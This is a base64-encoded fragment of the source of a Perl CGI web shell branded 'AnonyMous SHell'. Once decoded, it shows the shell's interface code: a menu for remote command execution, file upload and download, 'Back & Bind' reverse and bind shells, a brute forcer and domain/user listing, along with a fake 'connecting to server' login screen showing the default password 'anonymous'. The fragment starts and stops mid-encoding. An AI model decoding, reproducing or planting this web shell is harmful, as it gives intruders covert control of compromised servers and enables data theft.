Bcmd1bWVudCAxOiBGb3JtIGl0ZW0gbmFtZSB0byB3aGljaCBmb2N1cyBzaG91bGQgYmUgc2V0CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50UGFnZUhlYWRlcgp7CgkkRW5jb2RlZEN1cnJlbnREaXIgPSAkQ3VycmVudERpcjsKCSRFbmNvZGVkQ3VycmVudERpciA9fiBzLyhbXmEtekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7CglteSAkZGlyID0kQ3VycmVudERpcjsKCSRkaXI9fiBzL1xcL1xcXFwvZzsKCXByaW50ICJDb250ZW50LXR5cGU6IHRleHQvaHRtbFxuXG4iOwoJcHJpbnQgPDxFTkQ7CjxodG1sPgo8aGVhZD4KPG1ldGEgaHR0cC1lcXVpdj0iY29udGVudC10eXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiPgo8dGl0bGU+QW5vbnlNb3VzIFNIZWxsPC90aXRsZT4KCiRIdG1sTWV0YUhlYWRlcgoKPC9oZWFkPgo8c3R5bGU+CmJvZHl7CmZvbnQ6IDEwcHQgVmVyZGFuYTsKfQp0ciB7CkJPUkRFUi1SSUdIVDogICM2NDQ4OTA5NiAxcHggc29saWQ7CkJPUkRFUi1UT1A6ICAgICM2NDQ4OTA5NiAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICM2NDQ4OTA5NiAxcHggc29saWQ7CkJPUkRFUi1CT1RUT006ICM2NDQ4OTA5NiAxcHggc29saWQ7CmNvbG9yOiAjZmZmOwp9CnRkIHsKQk9SREVSLVJJR0hUOiAgIzY0NDg5MDk2IDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzY0NDg5MDk2IDFweCBzb2xpZDsKQk9SREVSLUxFRlQ6ICAgIzY0NDg5MDk2IDFweCBzb2xpZDsKQk9SREVSLUJPVFRPTTogIzY0NDg5MDk2IDFweCBzb2xpZDsKY29sb3I6ICNmZmY7CmZvbnQ6IDEwcHQgVmVyZGFuYTsKfQoKdGFibGUgewpCT1JERVItUklHSFQ6ICAjNjQ0ODkwOTYgMXB4IHNvbGlkOwpCT1JERVItVE9QOiAgICAjNjQ0ODkwOTYgMXB4IHNvbGlkOwpCT1JERVItTEVGVDogICAjNjQ0ODkwOTYgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjNjQ0ODkwOTYgMXB4IHNvbGlkOwpCQUNLR1JPVU5ELUNPTE9SOiAjMTExOwp9CgoKaW5wdXQgewpCT1JERVItUklHSFQ6ICAjNjQ0ODkwOTYgMXB4IHNvbGlkOwpCT1JERVItVE9QOiAgICAjNjQ0ODkwOTYgMXB4IHNvbGlkOwpCT1JERVItTEVGVDogICAjNjQ0ODkwOTYgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjNjQ0ODkwOTYgMXB4IHNvbGlkOwpCQUNLR1JPVU5ELUNPTE9SOiBCbGFjazsKZm9udDogMTBwdCBWZXJkYW5hOwpjb2xvcjogI2ZmZjsKfQoKaW5wdXQuc3VibWl0IHsKdGV4dC1zaGFkb3c6IDBwdCAwcHQgMC4zZW0gY3lhbiwgMHB0IDBwdCAwLjNlbSBjeWFuOwpjb2xvcjogI0ZGRkZGRjsKYm9yZGVyLWNvbG9yOiAjMDA5OTAwOwp9Cgpjb2RlIHsKYm9yZGVyCQkJOiBkYXNoZWQgMHB4ICMzMzM7CmJvcmRlci1zdHlsZTpkYXNoZWQ7CkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOwpmb250OiAxMHB0IFZlcmRhbmEgYm9sZDsKY29sb3I6IHdoaWxlOwp9CgpydW4gewpib3JkZXIJCQk6IGRhc2hlZCAwcHggIzMzMzsKYm9yZGVyLXN0eWxlOmRhc2hlZDsKZm9udDogMTBwdCBWZXJkYW5hIGJvbGQ7CmNvbG9yOiAjRkYwMEFBOwp9Cgp0ZXh0YXJlYSB7CkJPUkRFUi1SSUdIVDogICM2NDQ4OTA5NiAxcHggc29saWQ7CkJPUkRFUi1UT1A6ICAgICM2NDQ4OTA5NiAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICM2NDQ4OTA5NiAxcHggc29saWQ7CkJPUkRFUi1CT1RUT006ICM2NDQ4OTA5NiAxcHggc29saWQ7CkJBQ0tHUk9VTkQtQ09MT1I6ICMxYjFiMWI7CmJvcmRlci1zdHlsZTpkYXNoZWQ7CmZvbnQ6IEZpeGVkc3lzIGJvbGQ7CmNvbG9yOiAjYWFhOwp9CkE6bGluayB7CglDT0xPUjogI2ZmZjsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KQTp2aXNpdGVkIHsKCUNPTE9SOiAjZmZmOyBURVhULURFQ09SQVRJT046IG5vbmUKfQpBOmhvdmVyIHsKCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsKCWNvbG9yOiAjZmZmOyBURVhULURFQ09SQVRJT046IG5vbmUKfQpBOmFjdGl2ZSB7Cgljb2xvcjogUmVkOyBURVhULURFQ09SQVRJT046IG5vbmUKfQoKLmxpc3RkaXIgdHI6aG92ZXJ7CgliYWNrZ3JvdW5kOiAjNDQ0Owp9Ci5saXN0ZGlyIHRyOmhvdmVyIHRkewoJYmFja2dyb3VuZDogIzQ0NDsKCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsKCWNvbG9yOiAjRkZGRkZGOyBURVhULURFQ09SQVRJT046IG5vbmU7Cn0KLm5vdGxpbmV7CgliYWNrZ3JvdW5kOiAjMTExOwp9Ci5saW5lewoJYmFja2dyb3VuZDogIzM3MmM0ODc4Owp9Cjwvc3R5bGU+CjxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPgpmdW5jdGlvbiBjaG1vZF9mb3JtKGksZmlsZSkKewoJLyp2YXIgYWpheD0nYWpheF9Qb3N0RGF0YSgiRm9ybVBlcm1zXycraSsnIiwiJFNjcmlwdExvY2F0aW9uIiwiUmVzcG9uc2VEYXRhIik7IHJldHVybiBmYWxzZTsnOyovCgl2YXIgYWpheD0iIjsKCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlUGVybXNfIitpKS5pbm5lckhUTUw9Ijxmb3JtIG5hbWU9Rm9ybVBlcm1zXyIgKyBpKyAiIGFjdGlvbj0nIG1ldGhvZD0nUE9TVCc+PGlucHV0IGlkPXRleHRfIiArIGkgKyAiICBuYW1lPWNobW9kIHR5cGU9dGV4dCBzaXplPTUgLz48aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J3N1Ym1pdCcgb25jbGljaz0nIiArIGFqYXggKyAiJyB2YWx1ZT1PSz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSdndWknPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWQgdmFsdWU9JyRkaXInPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWYgdmFsdWU9JyIrZmlsZSsiJz48L2Zvcm0+IjsKCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ0ZXh0XyIgKyBpKS5mb2N1cygpOwp9CmZ1bmN0aW9uIHJtX2NobW9kX2Zvcm0ocmVzcG9uc2UsaSxwZXJtcyxmaWxlKQp7CglyZXNwb25zZS5pbm5lckhUTUwgPSAiPHNwYW4gb25jbGljaz1cXFwiY2htb2RfZm9ybSgiICsgaSArICIsJyIrIGZpbGUrICInKVxcXCIgPiIrIHBlcm1zICsiPC9zcGFuPjwvdGQ+IjsKfQpmdW5jdGlvbiByZW5hbWVfZm9ybShpLGZpbGUsZikKewoJdmFyIGFqYXg9IiI7CglmLnJlcGxhY2UoL1xcXFwvZywiXFxcXFxcXFwiKTsKCXZhciBiYWNrPSJybV9yZW5hbWVfZm9ybSgiK2krIixcXFwiIitmaWxlKyJcXFwiLFxcXCIiK2YrIlxcXCIpOyByZXR1cm4gZmFsc2U7IjsKCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlXyIraSkuaW5uZXJIVE1MPSI8Zm9ybSBuYW1lPUZvcm1QZXJtc18iICsgaSsgIiBhY3Rpb249JyBtZXRob2Q9J1BPU1QnPjxpbnB1dCBpZD10ZXh0XyIgKyBpICsgIiAgbmFtZT1yZW5hbWUgdHlwZT10ZXh0IHZhbHVlPSAnIitmaWxlKyInIC8+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBhamF4ICsgIicgdmFsdWU9T0s+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBiYWNrICsgIicgdmFsdWU9Q2FuY2VsPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJGRpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7Cn0KZnVuY3Rpb24gcm1fcmVuYW1lX2Zvcm0oaSxmaWxlLGYpCnsKCWlmKGY9PSdmJykKCXsKCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGEgaHJlZj0nP2E9Y29tbWFuZCZkPSRkaXImYz1lZGl0JTIwIitmaWxlKyIlMjAnPiIgK2ZpbGUrICI8L2E+IjsKCX1lbHNlCgl7CgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9IjxhIGhyZWY9Jz9hPWd1aSZkPSIrZisiJz5bICIgK2ZpbGUrICIgXTwvYT4iOwoJfQp9Cjwvc2NyaXB0Pgo8Ym9keSBvbkxvYWQ9ImRvY3VtZW50LmYuQF8uZm9jdXMoKSIgYmdjb2xvcj0iIzBjMGMwYyIgdG9wbWFyZ2luPSIwIiBsZWZ0bWFyZ2luPSIwIiBtYXJnaW53aWR0aD0iMCIgbWFyZ2luaGVpZ2h0PSIwIj4KPGNlbnRlcj48Y29kZT4KPHRhYmxlIGJvcmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+Cjx0cj4KCTx0ZCBhbGlnbj0iY2VudGVyIiByb3dzcGFuPTI+CgkJPGI+PGZvbnQgc2l6ZT0iNSI+JEVkaXRQZXJzaW9uPC9mb250PjwvYj4KCTwvdGQ+CgoJPHRkPgoKCQk8Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIj4kRU5WeyJTRVJWRVJfU09GVFdBUkUifTwvZm9udD4KCTwvdGQ+Cgk8dGQ+U2VydmVyIElQOjxmb250IGNvbG9yPSJncmVlbiI+ICRFTlZ7J1NFUlZFUl9BRERSJ308L2ZvbnQ+IHwgWW91ciBJUDogPGZvbnQgY29sb3I9ImdyZWVuIj4kRU5WeydSRU1PVEVfQUREUid9PC9mb250PgoJPC90ZD4KCjwvdHI+Cgo8dHI+Cjx0ZCBjb2xzcGFuPSIzIj48Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIj4KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uIj5Ib21lPC9hPiB8IAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1jb21tYW5kJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5Db21tYW5kPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWd1aSZkPSRFbmNvZGVkQ3VycmVudERpciI+R1VJPC9hPiB8IAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT11cGxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPlVwbG9hZCBGaWxlPC9hPiB8IAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1kb3dubG9hZCZkPSRFbmNvZGVkQ3VycmVudERpciI+RG93bmxvYWQgRmlsZTwvYT4gfAoKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9YmFja2JpbmQiPkJhY2sgJiBCaW5kPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWJydXRlZm9yY2VyIj5CcnV0ZSBGb3JjZXI8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Y2hlY2tsb2ciPkNoZWNrIExvZzwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1kb21haW5zdXNlciI+RG9tYWlucy9Vc2VyczwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1sb2dvdXQiPkxvZ291dDwvYT4gfAo8YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0iIyI+SGVscDwvYT4KCjwvZm9udD48L3RkPgo8L3RyPgo8L3RhYmxlPgo8Zm9udCBpZD0iUmVzcG9uc2VEYXRhIiBjb2xvcj0iI2ZmOTljYyIgPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgTG9naW4gU2NyZWVuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9naW5TY3JlZW4KewoKCXByaW50IDw8RU5EOwo8cHJlPjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KVHlwaW5nVGV4dCA9IGZ1bmN0aW9uKGVsZW1lbnQsIGludGVydmFsLCBjdXJzb3IsIGZpbmlzaGVkQ2FsbGJhY2spIHsKICBpZigodHlwZW9mIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkID09ICJ1bmRlZmluZWQiKSB8fCAodHlwZW9mIGVsZW1lbnQuaW5uZXJIVE1MID09ICJ1bmRlZmluZWQiKSkgewogICAgdGhpcy5ydW5uaW5nID0gdHJ1ZTsJLy8gTmV2ZXIgcnVuLgogICAgcmV0dXJuOwogIH0KICB0aGlzLmVsZW1lbnQgPSBlbGVtZW50OwogIHRoaXMuZmluaXNoZWRDYWxsYmFjayA9IChmaW5pc2hlZENhbGxiYWNrID8gZmluaXNoZWRDYWxsYmFjayA6IGZ1bmN0aW9uKCkgeyByZXR1cm47IH0pOwogIHRoaXMuaW50ZXJ2YWwgPSAodHlwZW9mIGludGVydmFsID09ICJ1bmRlZmluZWQiID8gMTAwIDogaW50ZXJ2YWwpOwogIHRoaXMub3JpZ1RleHQgPSB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MOwogIHRoaXMudW5wYXJzZWRPcmlnVGV4dCA9IHRoaXMub3JpZ1RleHQ7CiAgdGhpcy5jdXJzb3IgPSAoY3Vyc29yID8gY3Vyc29yIDogIiIpOwogIHRoaXMuY3VycmVudFRleHQgPSAiIjsKICB0aGlzLmN1cnJlbnRDaGFyID0gMDsKICB0aGlzLmVsZW1lbnQudHlwaW5nVGV4dCA9IHRoaXM7CiAgaWYodGhpcy5lbGVtZW50LmlkID09ICIiKSB0aGlzLmVsZW1lbnQuaWQgPSAidHlwaW5ndGV4dCIgKyBUeXBpbmdUZXh0LmN1cnJlbnRJbmRleCsrOwogIFR5cGluZ1RleHQuYWxsLnB1c2godGhpcyk7CiAgdGhpcy5ydW5uaW5nID0gZmFsc2U7CiAgdGhpcy5pblRhZyA9IGZhbHNlOwogIHRoaXMudGFnQnVmZmVyID0gIiI7CiAgdGhpcy5pbkhUTUxFbnRpdHkgPSBmYWxzZTsKICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgPSAiIjsKfQpUeXBpbmdUZXh0LmFsbCA9IG5ldyBBcnJheSgpOwpUeXBpbmdUZXh0LmN1cnJlbnRJbmRleCA9IDA7ClR5cGluZ1RleHQucnVuQWxsID0gZnVuY3Rpb24oKSB7CiAgZm9yKHZhciBpID0gMDsgaSA8IFR5cGluZ1RleHQuYWxsLmxlbmd0aDsgaSsrKSBUeXBpbmdUZXh0LmFsbFtpXS5ydW4oKTsKfQpUeXBpbmdUZXh0LnByb3RvdHlwZS5ydW4gPSBmdW5jdGlvbigpIHsKICBpZih0aGlzLnJ1bm5pbmcpIHJldHVybjsKICBpZih0eXBlb2YgdGhpcy5vcmlnVGV4dCA9PSAidW5kZWZpbmVkIikgewogICAgc2V0VGltZW91dCgiZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJyIgKyB0aGlzLmVsZW1lbnQuaWQgKyAiJykudHlwaW5nVGV4dC5ydW4oKSIsIHRoaXMuaW50ZXJ2YWwpOwkvLyBXZSBoYXZlbid0IGZpbmlzaGVkIGxvYWRpbmcgeWV0LiAgSGF2ZSBwYXRpZW5jZS4KICAgIHJldHVybjsKICB9CiAgaWYodGhpcy5jdXJyZW50VGV4dCA9PSAiIikgdGhpcy5lbGVtZW50LmlubmVySFRNTCA9ICIiOwovLyAgdGhpcy5vcmlnVGV4dCA9IHRoaXMub3JpZ1RleHQucmVwbGFjZSgvPChbXjxdKSo+LywgIiIpOyAgICAgLy8gU3RyaXAgSFRNTCBmcm9tIHRleHQuCiAgaWYodGhpcy5jdXJyZW50Q2hhciA8IHRoaXMub3JpZ1RleHQubGVuZ3RoKSB7CiAgICBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiPCIgJiYgIXRoaXMuaW5UYWcpIHsKICAgICAgdGhpcy50YWdCdWZmZXIgPSAiPCI7CiAgICAgIHRoaXMuaW5UYWcgPSB0cnVlOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiPiIgJiYgdGhpcy5pblRhZykgewogICAgICB0aGlzLnRhZ0J1ZmZlciArPSAiPiI7CiAgICAgIHRoaXMuaW5UYWcgPSBmYWxzZTsKICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLnRhZ0J1ZmZlcjsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5pblRhZykgewogICAgICB0aGlzLnRhZ0J1ZmZlciArPSB0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKTsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIiYiICYmICF0aGlzLmluSFRNTEVudGl0eSkgewogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgPSAiJiI7CiAgICAgIHRoaXMuaW5IVE1MRW50aXR5ID0gdHJ1ZTsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIjsiICYmIHRoaXMuaW5IVE1MRW50aXR5KSB7CiAgICAgIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciArPSAiOyI7CiAgICAgIHRoaXMuaW5IVE1MRW50aXR5ID0gZmFsc2U7CiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy5IVE1MRW50aXR5QnVmZmVyOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSBpZih0aGlzLmluSFRNTEVudGl0eSkgewogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIHsKICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKTsKICAgIH0KICAgIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgPSB0aGlzLmN1cnJlbnRUZXh0OwogICAgdGhpcy5lbGVtZW50LmlubmVySFRNTCArPSAodGhpcy5jdXJyZW50Q2hhciA8IHRoaXMub3JpZ1RleHQubGVuZ3RoIC0gMSA/ICh0eXBlb2YgdGhpcy5jdXJzb3IgPT0gImZ1bmN0aW9uIiA/IHRoaXMuY3Vyc29yKHRoaXMuY3VycmVudFRleHQpIDogdGhpcy5jdXJzb3IpIDogIiIpOwogICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgc2V0VGltZW91dCgiZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJyIgKyB0aGlzLmVsZW1lbnQuaWQgKyAiJykudHlwaW5nVGV4dC5ydW4oKSIsIHRoaXMuaW50ZXJ2YWwpOwogIH0gZWxzZSB7Cgl0aGlzLmN1cnJlbnRUZXh0ID0gIiI7Cgl0aGlzLmN1cnJlbnRDaGFyID0gMDsKICAgICAgICB0aGlzLnJ1bm5pbmcgPSBmYWxzZTsKICAgICAgICB0aGlzLmZpbmlzaGVkQ2FsbGJhY2soKTsKICB9Cn0KPC9zY3JpcHQ+CjwvcHJlPgoKPGZvbnQgc3R5bGU9ImZvbnQ6IDIwcHQgVmVyZGFuYTsgY29sb3I6ICNkMDU1ZWY7Ij5Bbm9ueU1vdXMgU0hlbGw8L2ZvbnQ+PGJyPjxicj48Zm9udCBzdHlsZT0iZm9udDogMTBwdCBWZXJkYW5hOyBjb2xvcjogI2QwNTVlZjsiPlBhc3N3b3JkIDogYW5vbnltb3VzPC9mb250Pjxicj4KPHRhYmxlIGFsaWduPSJjZW50ZXIiIGJvcmRlcj0iMSIgIGJvcmRlci1zdHlsZT0iZGFzaGVkIiB3aWR0aD0iNjAwIiBoZWlnaD4KPHRib2R5Pjx0cj4KPHRkIHZhbGlnbj0idG9wIiBiYWNrZ3JvdW5kPSJodHRwOi8vZGwuZHJvcGJveC5jb20vdS8xMDg2MDA1MS9pbWFnZXMvbWF0cmFuLmdpZiI+PHAgaWQ9ImhhY2siIHN0eWxlPSJtYXJnaW4tbGVmdDogM3B4OyI+Cjxmb250IGNvbG9yPSIjMDA5OTAwIj4gUGxlYXNlIFdhaXQgLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLjwvZm9udD4gPGJyPgoKPGZvbnQgY29sb3I9IiMwMDk5MDAiPiBUcnlpbmcgY29ubmVjdCB0byBTZXJ2ZXIgLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLjwvZm9udD48YnI+Cjxmb250IGNvbG9yPSIjRjAwMDAwIj48Zm9udCBjb2xvcj0iI0ZGRjAwMCI+flwkPC9mb250PiBDb25uZWN0ZWQgISA8L2ZvbnQ+PGJyPgo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPiRTZXJ2ZXJOYW1lfjwvZm9udD4gQ2hlY2tpbmcgU2VydmVyIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+IDxicj4KCjxmb250IGNvbG9yPSIjMDA5OTAwIj48Zm9udCBjb2xvcj0iI0ZGRjAwMCI+JFNlcnZlck5hbWV+PC9mb250PiBUcnlpbmcgY29ubmVjdCB0byBDb21tYW5kIC4gLiAuIC4gLiAuIC4gLiAuIC4gLjwvZm9udD48YnI+Cgo8Zm9udCBjb2xvcj0iI0YwMDAwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPiRTZXJ2ZXJOYW1lfjwvZm9udD5cJCBDb25uZWN0ZWQgQ29tbWFuZCEgPC9mb250Pjxicj4KPGZvbnQgY29sb3I9IiMwMDk5MDAiPjxmb250IGNvbG9yPSIjRkZGMDAwIj4kU2VydmVyTmFtZX48Zm9udCBjb2xvcj0iI0YwMDAwMCI+XCQ8L2ZvbnQ+PC9mb250PiBPSyEgWW91IGNhbiBraWxsIGl0ITwvZm9udD4KPC90cj4KPC90Ym9keT48L3RhYmxlPgo8YnI+Cgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+Cm5ldyBUeXBpbmdUZXh0KGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJoYWNrIiksIDMwLCBmdW5jdGlvbihpKXsgdmFyIGFyID0gbmV3IEFycmF5KCJfIiwiIik7IHJldHVybiAiICIgKyBhcltpLmxlbmd0aCAlIGFyLmxlbmd0aF07IH0pOwpUeXBpbmdUZXh0LnJ1bkFsbCgpOwoKPC9zY3JpcHQ+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQWRkIGh0bWwgc3BlY2lhbCBjaGFycwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBIdG1sU3BlY2lhbENoYXJzKCQpewoJbXkgJHRleHQgPSBzaGlmdDsKCSR0ZXh0ID1+IHMvJi8mYW1wOy9nOwoJJHRleHQgPX4gcy8iLyZxdW90Oy9nOwoJJHRleHQgPX4gcy8nLyYjMDM5Oy9nOwoJJHRleHQgPX4gcy88LyZsdDsvZzsKCSR0ZXh0ID1+IHMvPi8mZ3Q7L2c7CglyZXR1cm4gJHRleHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEFkZCBsaW5rIGZvciBkaXJlY3RvcnkKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQWRkTGlua0RpcigkKQp7CglteSAkYWM9c2hpZnQ7CglteSBAZGlyPSgpOwoJaWYoJFdpbk5UKQoJewoJCUBkaXI9c3BsaXQoL1xcLywkQ3VycmVudERpcik7Cgl9ZWxzZQoJewoJCUBkaXI9c3BsaXQoIi8iLCZ0cmltKCRDdXJyZW50RGlyKSk7Cgl9CglteSAkcGF0aD0iIjsKCW15ICRyZXN1bHQ9IiI7Cglmb3JlYWNoIChAZGlyKQoJewoJCSRwYXRoIC49ICRfLiRQYXRoU2VwOwoJCSRyZXN1bHQuPSI8YSBocmVmPSc/YT0iLiRhYy4iJmQ9Ii4kcGF0aC4iJz4iLiRfLiRQYXRoU2VwLiI8L2E+IjsKCX0KCXJldHVybiAkcmVzdWx0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIG1lc3NhZ2UgdGhhdCBpbmZvcm1zIHRoZSB1c2VyIG9mIGEgZmFpbGVkIGxvZ2luCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9naW5GYWlsZWRNZXNzYWdlCnsKCXByaW50IDw8RU5EOwo8YnI+TG9naW4gOiBBZG1pbmlzdHJhdG9yPGJyPgoKUGFzc3dvcmQ6PGJyPgpMb2dpbiBpbmNvcnJlY3Q8YnI+PGJyPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIGZvciBsb2dnaW5nIGluCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9naW5Gb3JtCnsKCXByaW50IDw8RU5EOwo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0i